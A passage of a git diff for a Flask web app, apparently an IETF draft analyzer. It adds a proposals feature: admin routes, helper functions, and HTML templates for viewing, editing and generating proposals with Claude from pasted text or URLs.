"source_url": data.get("source_url", ""),
|
||||
"intended_wg": data.get("intended_wg", ""),
|
||||
"draft_name": data.get("draft_name", ""),
|
||||
"gap_ids": gap_ids,
|
||||
}
|
||||
db().upsert_proposal(proposal)
|
||||
return redirect(url_for("proposal_detail", proposal_id=proposal_id))
|
||||
proposal = get_proposal_detail(db(), proposal_id)
|
||||
if not proposal:
|
||||
abort(404)
|
||||
gap_list = get_all_gaps(db())
|
||||
return render_template("proposal_edit.html", proposal=proposal, gaps=gap_list)
|
||||
|
||||
|
||||
@app.route("/proposals/<int:proposal_id>/delete", methods=["POST"])
|
||||
@admin_required
|
||||
def proposal_delete(proposal_id):
|
||||
db().delete_proposal(proposal_id)
|
||||
return redirect(url_for("proposals"))
|
||||
|
||||
|
||||
@app.route("/api/proposals")
|
||||
@admin_required
|
||||
def api_proposals():
|
||||
data = get_all_proposals(db())
|
||||
return jsonify(data)
|
||||
|
||||
|
||||
@app.route("/api/proposals/<int:proposal_id>")
|
||||
@admin_required
|
||||
def api_proposal_detail(proposal_id):
|
||||
p = get_proposal_detail(db(), proposal_id)
|
||||
if not p:
|
||||
return jsonify({"error": "Proposal not found"}), 404
|
||||
return jsonify(p)
|
||||
|
||||
|
||||
@app.route("/proposals/intake", methods=["GET", "POST"])
|
||||
@admin_required
|
||||
def proposal_intake():
|
||||
"""Paste text/URLs → Claude generates proposals automatically."""
|
||||
if request.method == "POST":
|
||||
raw_input = request.form.get("input_text", "").strip()
|
||||
if not raw_input:
|
||||
return jsonify({"error": "No input provided"}), 400
|
||||
|
||||
try:
|
||||
from ietf_analyzer.config import Config
|
||||
from ietf_analyzer.proposal_intake import ProposalIntake
|
||||
|
||||
cfg = Config.load()
|
||||
intake = ProposalIntake(cfg, db())
|
||||
proposals, usage = intake.process(raw_input, cheap=True)
|
||||
|
||||
return jsonify({
|
||||
"success": True,
|
||||
"count": len(proposals),
|
||||
"proposals": [
|
||||
{"id": p.get("id"), "title": p.get("title"), "slug": p.get("slug"),
|
||||
"gap_ids": p.get("gap_ids", []), "description": p.get("description", ""),
|
||||
"content_md": p.get("content_md", ""),
|
||||
"intended_wg": p.get("intended_wg", ""), "draft_name": p.get("draft_name", ""),
|
||||
"source_paper": p.get("source_paper", ""), "source_url": p.get("source_url", "")}
|
||||
for p in proposals
|
||||
],
|
||||
"usage": usage,
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({"error": str(e)}), 500
|
||||
|
||||
return render_template("proposal_intake.html")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
|
||||
|
||||
@@ -4332,3 +4332,29 @@ def get_ask_synthesize(db: Database, question: str, top_k: int = 5, cheap: bool
|
||||
config = Config.load()
|
||||
searcher = HybridSearch(config, db)
|
||||
return searcher.ask(question, top_k=top_k, cheap=cheap)
|
||||
|
||||
|
||||
# --- Proposals ---
|
||||
|
||||
def get_all_proposals(db: Database) -> list[dict]:
|
||||
"""Return all proposals with linked gap info."""
|
||||
proposals = db.all_proposals()
|
||||
gaps = {g["id"]: g for g in db.all_gaps()}
|
||||
for p in proposals:
|
||||
p["gaps"] = [gaps[gid] for gid in p.get("gap_ids", []) if gid in gaps]
|
||||
return proposals
|
||||
|
||||
|
||||
def get_proposal_detail(db: Database, proposal_id: int) -> dict | None:
|
||||
"""Return a single proposal with full gap details."""
|
||||
p = db.get_proposal(proposal_id)
|
||||
if not p:
|
||||
return None
|
||||
gaps = {g["id"]: g for g in db.all_gaps()}
|
||||
p["gaps"] = [gaps[gid] for gid in p.get("gap_ids", []) if gid in gaps]
|
||||
return p
|
||||
|
||||
|
||||
def get_proposals_for_gap(db: Database, gap_id: int) -> list[dict]:
|
||||
"""Return proposals linked to a specific gap."""
|
||||
return db.get_proposals_for_gap(gap_id)
|
||||
|
||||
@@ -132,6 +132,10 @@
|
||||
<svg class="w-4 h-4 opacity-60" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4.5c-.77-.833-2.694-.833-3.464 0L3.34 16.5c-.77.833.192 2.5 1.732 2.5z"/></svg>
|
||||
Gap Explorer
|
||||
</a>
|
||||
<a href="/proposals" class="sidebar-link flex items-center gap-3 px-5 py-2.5 text-sm text-slate-300 {{ 'active' if active_page == 'proposals' }}">
|
||||
<svg class="w-4 h-4 opacity-60" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>
|
||||
Proposals
|
||||
</a>
|
||||
{% endif %}
|
||||
<a href="/timeline" class="sidebar-link flex items-center gap-3 px-5 py-2.5 text-sm text-slate-300 {{ 'active' if active_page == 'timeline' }}">
|
||||
<svg class="w-4 h-4 opacity-60" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
|
||||
@@ -86,6 +86,44 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Linked Proposals -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6 mb-6">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<h2 class="text-lg font-semibold text-white">Linked Proposals</h2>
|
||||
<a href="/proposals/new?gap_id={{ gap.id }}" class="inline-flex items-center gap-1.5 px-3 py-1.5 bg-slate-800 hover:bg-slate-700 text-slate-300 text-xs font-medium rounded-lg transition">
|
||||
<svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"/></svg>
|
||||
New Proposal
|
||||
</a>
|
||||
</div>
|
||||
{% if proposals %}
|
||||
<div class="space-y-3">
|
||||
{% for p in proposals %}
|
||||
<a href="/proposals/{{ p.id }}" class="block bg-slate-800/50 rounded-lg border border-slate-700 hover:border-slate-600 p-4 transition group">
|
||||
<div class="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<h3 class="text-sm font-semibold text-white group-hover:text-blue-400 transition">{{ p.title }}</h3>
|
||||
{% if p.description %}
|
||||
<p class="text-xs text-slate-400 mt-1">{{ p.description[:120] }}{% if p.description | length > 120 %}...{% endif %}</p>
|
||||
{% endif %}
|
||||
</div>
|
||||
<span class="px-2 py-0.5 rounded-full text-[10px] font-semibold whitespace-nowrap shrink-0
|
||||
{% if p.status == 'idea' %}bg-purple-500/20 text-purple-400
|
||||
{% elif p.status == 'outline' %}bg-blue-500/20 text-blue-400
|
||||
{% elif p.status == 'draft' %}bg-yellow-500/20 text-yellow-400
|
||||
{% elif p.status == 'submitted' %}bg-green-500/20 text-green-400
|
||||
{% elif p.status == 'merged' %}bg-emerald-500/20 text-emerald-400
|
||||
{% else %}bg-slate-600/20 text-slate-500{% endif %}">
|
||||
{{ p.status | upper }}
|
||||
</span>
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% else %}
|
||||
<p class="text-sm text-slate-500">No proposals yet -- <a href="/proposals/new?gap_id={{ gap.id }}" class="text-blue-400 hover:text-blue-300 transition">create one?</a></p>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
<!-- Draft Generation Section -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
|
||||
119
src/webui/templates/proposal_detail.html
Normal file
119
src/webui/templates/proposal_detail.html
Normal file
@@ -0,0 +1,119 @@
|
||||
{% extends "base.html" %}
|
||||
{% set active_page = "proposals" %}
|
||||
|
||||
{% block title %}{{ proposal.title }} — Proposals{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<!-- Breadcrumb -->
|
||||
<nav class="mb-6 text-sm">
|
||||
<a href="/proposals" class="text-blue-400 hover:text-blue-300 transition">Proposals</a>
|
||||
<span class="text-slate-600 mx-2">/</span>
|
||||
<span class="text-slate-400">{{ proposal.title }}</span>
|
||||
</nav>
|
||||
|
||||
<!-- Header -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6 mb-6">
|
||||
<div class="flex items-start justify-between gap-4 mb-4">
|
||||
<h1 class="text-2xl font-bold text-white">{{ proposal.title }}</h1>
|
||||
<span class="px-3 py-1 rounded-full text-xs font-bold whitespace-nowrap
|
||||
{% if proposal.status == 'idea' %}bg-purple-500/20 text-purple-400 ring-1 ring-purple-500/30
|
||||
{% elif proposal.status == 'outline' %}bg-blue-500/20 text-blue-400 ring-1 ring-blue-500/30
|
||||
{% elif proposal.status == 'draft' %}bg-yellow-500/20 text-yellow-400 ring-1 ring-yellow-500/30
|
||||
{% elif proposal.status == 'submitted' %}bg-green-500/20 text-green-400 ring-1 ring-green-500/30
|
||||
{% elif proposal.status == 'merged' %}bg-emerald-500/20 text-emerald-400 ring-1 ring-emerald-500/30
|
||||
{% else %}bg-slate-600/20 text-slate-500 ring-1 ring-slate-600/30{% endif %}">
|
||||
{{ proposal.status | upper }}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{% if proposal.description %}
|
||||
<p class="text-sm text-slate-300 leading-relaxed mb-4">{{ proposal.description }}</p>
|
||||
{% endif %}
|
||||
|
||||
<!-- Metadata grid -->
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4 mb-4">
|
||||
{% if proposal.intended_wg %}
|
||||
<div>
|
||||
<h3 class="text-xs font-semibold text-slate-500 uppercase tracking-wider mb-1">Working Group</h3>
|
||||
<p class="text-sm text-slate-300">{{ proposal.intended_wg }}</p>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if proposal.draft_name %}
|
||||
<div>
|
||||
<h3 class="text-xs font-semibold text-slate-500 uppercase tracking-wider mb-1">Draft Name</h3>
|
||||
<p class="text-sm text-slate-300 font-mono text-xs">{{ proposal.draft_name }}</p>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% if proposal.source_paper %}
|
||||
<div>
|
||||
<h3 class="text-xs font-semibold text-slate-500 uppercase tracking-wider mb-1">Source Paper</h3>
|
||||
{% if proposal.source_url %}
|
||||
<a href="{{ proposal.source_url }}" target="_blank" class="text-sm text-blue-400 hover:text-blue-300 transition">{{ proposal.source_paper }}</a>
|
||||
{% else %}
|
||||
<p class="text-sm text-slate-300">{{ proposal.source_paper }}</p>
|
||||
{% endif %}
|
||||
</div>
|
||||
{% endif %}
|
||||
<div>
|
||||
<h3 class="text-xs font-semibold text-slate-500 uppercase tracking-wider mb-1">Dates</h3>
|
||||
<p class="text-xs text-slate-400">Created: {{ proposal.created_at[:10] if proposal.created_at else 'N/A' }}</p>
|
||||
<p class="text-xs text-slate-400">Updated: {{ proposal.updated_at[:10] if proposal.updated_at else 'N/A' }}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Actions -->
|
||||
<div class="flex items-center gap-3 pt-4 border-t border-slate-800/50">
|
||||
<a href="/proposals/{{ proposal.id }}/edit" class="inline-flex items-center gap-2 px-4 py-2 bg-slate-800 hover:bg-slate-700 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>
|
||||
Edit
|
||||
</a>
|
||||
<form method="POST" action="/proposals/{{ proposal.id }}/delete" onsubmit="return confirm('Delete this proposal? This cannot be undone.');" class="inline">
|
||||
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 bg-red-900/30 hover:bg-red-900/50 text-red-400 text-sm font-medium rounded-lg transition ring-1 ring-red-500/20">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"/></svg>
|
||||
Delete
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Linked Gaps -->
|
||||
{% if proposal.gaps %}
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6 mb-6">
|
||||
<h2 class="text-lg font-semibold text-white mb-4">Linked Gaps ({{ proposal.gaps | length }})</h2>
|
||||
<div class="space-y-3">
|
||||
{% for gap in proposal.gaps %}
|
||||
<a href="/gaps/{{ gap.id }}" class="block bg-slate-800/50 rounded-lg border
|
||||
{% if gap.severity == 'critical' %}border-red-500/30 hover:border-red-500/50
|
||||
{% elif gap.severity == 'high' %}border-orange-500/20 hover:border-orange-500/40
|
||||
{% elif gap.severity == 'medium' %}border-yellow-500/15 hover:border-yellow-500/30
|
||||
{% else %}border-slate-700 hover:border-slate-600{% endif %}
|
||||
p-4 transition group">
|
||||
<div class="flex items-center justify-between gap-3">
|
||||
<div>
|
||||
<h3 class="text-sm font-semibold text-white group-hover:text-blue-400 transition">{{ gap.topic }}</h3>
|
||||
<p class="text-xs text-slate-400 mt-1">{{ gap.description[:120] }}{% if gap.description | length > 120 %}...{% endif %}</p>
|
||||
</div>
|
||||
<span class="px-2 py-0.5 rounded-full text-[10px] font-semibold whitespace-nowrap shrink-0
|
||||
{% if gap.severity == 'critical' %}bg-red-500/20 text-red-400
|
||||
{% elif gap.severity == 'high' %}bg-orange-500/20 text-orange-400
|
||||
{% elif gap.severity == 'medium' %}bg-yellow-500/20 text-yellow-400
|
||||
{% else %}bg-green-500/20 text-green-400{% endif %}">
|
||||
{{ gap.severity | upper }}
|
||||
</span>
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<!-- Content -->
|
||||
{% if proposal.content_md %}
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<h2 class="text-lg font-semibold text-white mb-4">Content</h2>
|
||||
<div class="bg-slate-950 rounded-lg border border-slate-800 p-4">
|
||||
<pre class="text-sm text-slate-300 font-mono leading-relaxed whitespace-pre-wrap">{{ proposal.content_md }}</pre>
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endblock %}
|
||||
470
src/webui/templates/proposal_edit.html
Normal file
470
src/webui/templates/proposal_edit.html
Normal file
@@ -0,0 +1,470 @@
|
||||
{% extends "base.html" %}
|
||||
{% set active_page = "proposals" %}
|
||||
|
||||
{% block title %}{% if proposal %}Edit {{ proposal.title }}{% else %}New Proposal{% endif %} — Proposals{% endblock %}
|
||||
|
||||
{% block extra_head %}
|
||||
<style>
|
||||
.intake-spinner {
|
||||
display: inline-block;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
border: 2px solid rgba(255,255,255,0.3);
|
||||
border-top-color: white;
|
||||
border-radius: 50%;
|
||||
animation: spin 0.8s linear infinite;
|
||||
}
|
||||
@keyframes spin { to { transform: rotate(360deg); } }
|
||||
.gen-card {
|
||||
animation: fadeIn 0.3s ease-out;
|
||||
cursor: pointer;
|
||||
}
|
||||
.gen-card:hover { border-color: rgba(59, 130, 246, 0.5); }
|
||||
.gen-card.selected { border-color: rgba(59, 130, 246, 0.7); background: rgba(59, 130, 246, 0.05); }
|
||||
@keyframes fadeIn { from { opacity: 0; transform: translateY(8px); } to { opacity: 1; transform: translateY(0); } }
|
||||
</style>
|
||||
{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<!-- Breadcrumb -->
|
||||
<nav class="mb-6 text-sm">
|
||||
<a href="/proposals" class="text-blue-400 hover:text-blue-300 transition">Proposals</a>
|
||||
<span class="text-slate-600 mx-2">/</span>
|
||||
{% if proposal %}
|
||||
<a href="/proposals/{{ proposal.id }}" class="text-blue-400 hover:text-blue-300 transition">{{ proposal.title }}</a>
|
||||
<span class="text-slate-600 mx-2">/</span>
|
||||
<span class="text-slate-400">Edit</span>
|
||||
{% else %}
|
||||
<span class="text-slate-400">New Proposal</span>
|
||||
{% endif %}
|
||||
</nav>
|
||||
|
||||
{% if not proposal %}
|
||||
<!-- ═══════════════════════════════════════════════════════════════════ -->
|
||||
<!-- AI Generate Section (only on new, not edit) -->
|
||||
<!-- ═══════════════════════════════════════════════════════════════════ -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6 mb-6">
|
||||
<div class="flex items-center justify-between mb-4">
|
||||
<div>
|
||||
<h2 class="text-lg font-semibold text-white flex items-center gap-2">
|
||||
<svg class="w-5 h-5 text-blue-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/></svg>
|
||||
Quick Generate
|
||||
</h2>
|
||||
<p class="text-xs text-slate-500 mt-1">Paste a URL, article text, or notes — Claude generates multiple proposals automatically, linked to gaps.</p>
|
||||
</div>
|
||||
<button type="button" id="toggleManual" onclick="toggleManualForm()" class="text-xs text-slate-500 hover:text-slate-300 transition">
|
||||
Skip to manual form ↓
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="mb-4">
|
||||
<textarea id="intakeInput" rows="6"
|
||||
class="w-full bg-slate-950 border border-slate-700 rounded-lg px-4 py-3 text-sm text-slate-200 font-mono placeholder-slate-600 focus:outline-none focus:ring-2 focus:ring-blue-500/50 focus:border-blue-500 resize-y"
|
||||
placeholder="Paste one or more of: • A URL (https://arxiv.org/..., blog post, RFC) • Article text or paper abstract • Your own notes or rough ideas URLs are fetched automatically. Multiple proposals will be generated and cross-referenced with existing gaps."></textarea>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center justify-between">
|
||||
<div class="text-xs text-slate-500">
|
||||
<span id="charCount">0</span> chars
|
||||
<span id="urlCount" class="ml-3 hidden">
|
||||
<span class="text-blue-400"><span id="urlNum">0</span> URL(s)</span> detected
|
||||
</span>
|
||||
</div>
|
||||
<button type="button" id="generateBtn" onclick="runGenerate()"
|
||||
class="inline-flex items-center gap-2 px-5 py-2.5 bg-blue-600 hover:bg-blue-500 disabled:bg-slate-700 disabled:text-slate-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg id="genIcon" class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/></svg>
|
||||
<span id="genText">Generate Proposals</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<!-- Status -->
|
||||
<div id="genStatus" class="hidden mt-4 p-3 rounded-lg bg-blue-500/10 border border-blue-500/20">
|
||||
<div class="flex items-center gap-3 text-sm text-blue-400">
|
||||
<span class="intake-spinner"></span>
|
||||
<div>
|
||||
<span>Analyzing input and generating proposals...</span>
|
||||
<p class="text-xs text-blue-400/60 mt-0.5">Uses Haiku for cost efficiency. May take 15-30s.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Error -->
|
||||
<div id="genError" class="hidden mt-4 p-3 rounded-lg bg-red-500/10 border border-red-500/20">
|
||||
<p class="text-sm text-red-400" id="genErrorText"></p>
|
||||
</div>
|
||||
|
||||
<!-- Generated proposals (pick one to fill the form below) -->
|
||||
<div id="genResults" class="hidden mt-4">
|
||||
<div class="flex items-center justify-between mb-3">
|
||||
<p class="text-sm text-slate-300">
|
||||
<span id="genCount">0</span> proposal(s) generated
|
||||
<span id="genUsage" class="ml-2 text-xs text-slate-600"></span>
|
||||
</p>
|
||||
<p class="text-xs text-slate-500">Click a proposal to fill the form below, or save all directly.</p>
|
||||
</div>
|
||||
<div id="genList" class="space-y-3"></div>
|
||||
<div class="mt-4 flex gap-3">
|
||||
<button type="button" onclick="saveAllProposals()" id="saveAllBtn"
|
||||
class="inline-flex items-center gap-2 px-4 py-2 bg-green-600 hover:bg-green-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>
|
||||
Save All Proposals
|
||||
</button>
|
||||
<span id="saveAllStatus" class="text-sm text-slate-400 self-center"></span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="manualDivider" class="flex items-center gap-4 mb-6">
|
||||
<div class="flex-1 border-t border-slate-800"></div>
|
||||
<span class="text-xs text-slate-600 uppercase tracking-wider">or create manually</span>
|
||||
<div class="flex-1 border-t border-slate-800"></div>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<!-- ═══════════════════════════════════════════════════════════════════ -->
|
||||
<!-- Manual Form (also used for edit) -->
|
||||
<!-- ═══════════════════════════════════════════════════════════════════ -->
|
||||
<form method="POST" class="space-y-6" id="proposalForm">
|
||||
<!-- Title & Slug -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<h2 class="text-lg font-semibold text-white mb-4">{% if proposal %}Edit Proposal{% else %}Manual Entry{% endif %}</h2>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-4">
|
||||
<div>
|
||||
<label for="title" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Title *</label>
|
||||
<input type="text" name="title" id="title" required
|
||||
value="{{ proposal.title if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="e.g., Agent Capability Discovery Protocol"
|
||||
oninput="autoSlug()">
|
||||
</div>
|
||||
<div>
|
||||
<label for="slug" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Slug</label>
|
||||
<input type="text" name="slug" id="slug"
|
||||
value="{{ proposal.slug if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="auto-generated-from-title">
|
||||
<p class="text-[10px] text-slate-600 mt-1">Leave blank to auto-generate from title</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="grid grid-cols-1 md:grid-cols-3 gap-4 mb-4">
|
||||
<div>
|
||||
<label for="status" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Status</label>
|
||||
<select name="status" id="status"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white focus:outline-none focus:border-blue-500 transition">
|
||||
{% set current_status = proposal.status if proposal else 'idea' %}
|
||||
<option value="idea" {% if current_status == 'idea' %}selected{% endif %}>Idea</option>
|
||||
<option value="outline" {% if current_status == 'outline' %}selected{% endif %}>Outline</option>
|
||||
<option value="draft" {% if current_status == 'draft' %}selected{% endif %}>Draft</option>
|
||||
<option value="submitted" {% if current_status == 'submitted' %}selected{% endif %}>Submitted</option>
|
||||
<option value="merged" {% if current_status == 'merged' %}selected{% endif %}>Merged</option>
|
||||
<option value="abandoned" {% if current_status == 'abandoned' %}selected{% endif %}>Abandoned</option>
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label for="intended_wg" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Intended Working Group</label>
|
||||
<input type="text" name="intended_wg" id="intended_wg"
|
||||
value="{{ proposal.intended_wg if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="e.g., opsawg, httpbis">
|
||||
</div>
|
||||
<div>
|
||||
<label for="draft_name" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Draft Name</label>
|
||||
<input type="text" name="draft_name" id="draft_name"
|
||||
value="{{ proposal.draft_name if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition font-mono text-xs"
|
||||
placeholder="draft-nennemann-ai-agent-capability-00">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<label for="description" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Description</label>
|
||||
<textarea name="description" id="description" rows="3"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="Brief summary of the proposal idea...">{{ proposal.description if proposal else '' }}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Source -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<h3 class="text-sm font-semibold text-slate-300 mb-4">Source Reference</h3>
|
||||
<div class="grid grid-cols-1 md:grid-cols-2 gap-4">
|
||||
<div>
|
||||
<label for="source_paper" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Source Paper / Document</label>
|
||||
<input type="text" name="source_paper" id="source_paper"
|
||||
value="{{ proposal.source_paper if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="e.g., RFC 9999, research paper title">
|
||||
</div>
|
||||
<div>
|
||||
<label for="source_url" class="block text-xs font-semibold text-slate-400 uppercase tracking-wider mb-1.5">Source URL</label>
|
||||
<input type="url" name="source_url" id="source_url"
|
||||
value="{{ proposal.source_url if proposal else '' }}"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-white placeholder-slate-500 focus:outline-none focus:border-blue-500 transition"
|
||||
placeholder="https://...">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Content -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<h3 class="text-sm font-semibold text-slate-300 mb-4">Content (Markdown)</h3>
|
||||
<textarea name="content_md" id="content_md" rows="20"
|
||||
class="w-full px-3 py-2 bg-slate-950 border border-slate-700 rounded-lg text-sm text-slate-300 placeholder-slate-500 focus:outline-none focus:border-blue-500 transition font-mono leading-relaxed"
|
||||
placeholder="# Abstract
|
||||
|
||||
Write your proposal content here in Markdown...
|
||||
|
||||
## Introduction
|
||||
|
||||
## Problem Statement
|
||||
|
||||
## Proposed Solution
|
||||
|
||||
## Security Considerations">{{ proposal.content_md if proposal else '' }}</textarea>
|
||||
</div>
|
||||
|
||||
<!-- Gap Links -->
|
||||
<div class="bg-slate-900 rounded-xl border border-slate-800 p-6">
|
||||
<h3 class="text-sm font-semibold text-slate-300 mb-4">Linked Gaps</h3>
|
||||
<p class="text-xs text-slate-500 mb-4">Select the gaps this proposal addresses.</p>
|
||||
|
||||
{% set selected_gap_ids = proposal.gap_ids if proposal else [] %}
|
||||
|
||||
<!-- Group by severity -->
|
||||
{% set severities = ['critical', 'high', 'medium', 'low'] %}
|
||||
{% for sev in severities %}
|
||||
{% set sev_gaps = gaps | selectattr('severity', 'equalto', sev) | list %}
|
||||
{% if sev_gaps %}
|
||||
<div class="mb-4">
|
||||
<h4 class="text-xs font-semibold uppercase tracking-wider mb-2
|
||||
{% if sev == 'critical' %}text-red-400
|
||||
{% elif sev == 'high' %}text-orange-400
|
||||
{% elif sev == 'medium' %}text-yellow-400
|
||||
{% else %}text-green-400{% endif %}">{{ sev }} ({{ sev_gaps | length }})</h4>
|
||||
<div class="space-y-2">
|
||||
{% for gap in sev_gaps %}
|
||||
<label class="flex items-start gap-3 p-3 rounded-lg bg-slate-800/30 hover:bg-slate-800/60 transition cursor-pointer border border-transparent hover:border-slate-700">
|
||||
<input type="checkbox" name="gap_ids" value="{{ gap.id }}"
|
||||
{% if gap.id in selected_gap_ids %}checked{% endif %}
|
||||
class="mt-0.5 rounded border-slate-600 text-blue-500 focus:ring-blue-500 bg-slate-900">
|
||||
<div>
|
||||
<span class="text-sm text-white">{{ gap.topic }}</span>
|
||||
<span class="ml-2 px-1.5 py-0.5 rounded text-[10px] font-semibold
|
||||
{% if sev == 'critical' %}bg-red-500/20 text-red-400
|
||||
{% elif sev == 'high' %}bg-orange-500/20 text-orange-400
|
||||
{% elif sev == 'medium' %}bg-yellow-500/20 text-yellow-400
|
||||
{% else %}bg-green-500/20 text-green-400{% endif %}">{{ sev | upper }}</span>
|
||||
<p class="text-xs text-slate-500 mt-1">{{ gap.description[:100] }}{% if gap.description | length > 100 %}...{% endif %}</p>
|
||||
</div>
|
||||
</label>
|
||||
{% endfor %}
|
||||
</div>
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
||||
|
||||
<!-- Actions -->
|
||||
<div class="flex items-center gap-4">
|
||||
<button type="submit" class="inline-flex items-center gap-2 px-6 py-2.5 bg-blue-600 hover:bg-blue-500 text-white text-sm font-medium rounded-lg transition">
|
||||
<svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/></svg>
|
||||
{% if proposal %}Save Changes{% else %}Create Proposal{% endif %}
|
||||
</button>
|
||||
{% if proposal %}
